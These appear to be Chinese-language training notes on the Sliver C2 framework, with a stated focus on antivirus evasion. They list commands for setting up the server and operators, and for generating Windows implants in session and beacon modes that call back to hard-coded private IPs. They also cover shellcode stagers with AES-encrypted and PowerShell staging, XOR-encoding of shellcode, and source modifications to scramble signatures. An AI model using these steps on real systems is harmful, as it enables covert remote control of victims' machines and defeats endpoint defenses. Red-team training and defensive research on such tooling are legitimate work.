免杀对抗-安全工具篇&新型Go架构&C2-Sliver多平台&上线模式&红队集成研究&免杀方向
#安全工具-新型C2-Sliver使用详解
Sliver C2 是一个开源的跨平台红队框架,采用Go开发,目前特征相对于CS更少!
集成了MSF命令行运行模式,又结合了CS的优势特点,合并提供了两种操作模式
Beacon mode:实现了异步通信方式
Session mode:实现了实时会话方式
优势:
免杀能力强化
模块化多扩展
多操组员模式
开源移植性强
支持多平台(Linux, Windows and MacOS)
Implant | 植入物
Listener | 监听器
Sessions | 会话
Beacons | 信标
Armory | 扩展管理器
Multiplayer | 多操作员模式
参考:https://forum.butian.net/share/2243
#服务端:
sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
给予执行权限:chmod +x sliver-server_linux
直接执行启用:sudo ./sliver-server_linux
生成连接凭据:new-operator --name xiaodisec --lhost 192.168.139.228
启用多人运动:multiplayer
#客户端:
导入凭据:
sliver-client_windows.exe import xiaodisec_192.168.139.228.cfg
再次连接:
sliver-client_windows.exe
#生成exe
Session mode:
generate --http http://192.168.139.141:90 --os windows
Beacon mode:
generate beacon --http http://192.168.139.141:90 --os windows -S 5
#Session mode(Shellcode)
创建profiles
http -l 9002
profiles new --http 192.168.139.141:9002 --skip-symbols --format shellcode --arch amd64 session_test
创建分阶段监听器
stage-listener --url tcp://192.168.139.141:8443 --profile session_test
创建Stager
generate stager --lhost 192.168.139.141 --lport 8443 --arch amd64 --format c
#Beacon mode(Shellcode)
http -l 9003
profiles new beacon --http 192.168.139.141:9003 --skip-symbols --format shellcode --arch amd64 beacon_test(-S 5)
stage-listener --url tcp://192.168.139.141:8003 --profile beacon_test
generate stager --lhost 192.168.139.141 --lport 8003 --arch amd64 --format c
#配合C# AES
参考:https://sliver.sh/docs?name=Stagers
http -l 9004
都是使用Ethsec这个名称 壹起绑定
profiles new beacon --http 192.168.233.130:9004 --skip-symbols --format shellcode --arch amd64 Ethsec
stage-listener --url http://192.168.233.130:8004 --profile Ethsec --aes-encrypt-key ethsecdoctor1234(密钥16位)--aes-encrypt-iv heyheyheyheyheyh(偏移量16位)
AES-128 需要:
Key(密钥):16 字节(128 位)
IV(初始化向量):16 字节(128 位)
AES-256 需要:
Key(密钥):32 字节(256 位)
IV(初始化向量):16 字节(128 位)
#配合PowerShell
参考:https://forum.butian.net/share/2275
profiles new beacon --http 192.168.233.130:9005 --skip-symbols --format shellcode --arch amd64 pstest
http -l 9005
stage-listener --url http://192.168.139.141:8005 --profile pstest
#安全工具-新型C2-Sliver免杀方向
1、同CS一样针对ShellCode处理
generate stager --lhost x.x.x.x --lport xx --format raw
file_fl_xor.cpp
2、源码级别的二开魔改打乱特征
-默认生成的模版
-Profile流量模版
-改动工具执行调用链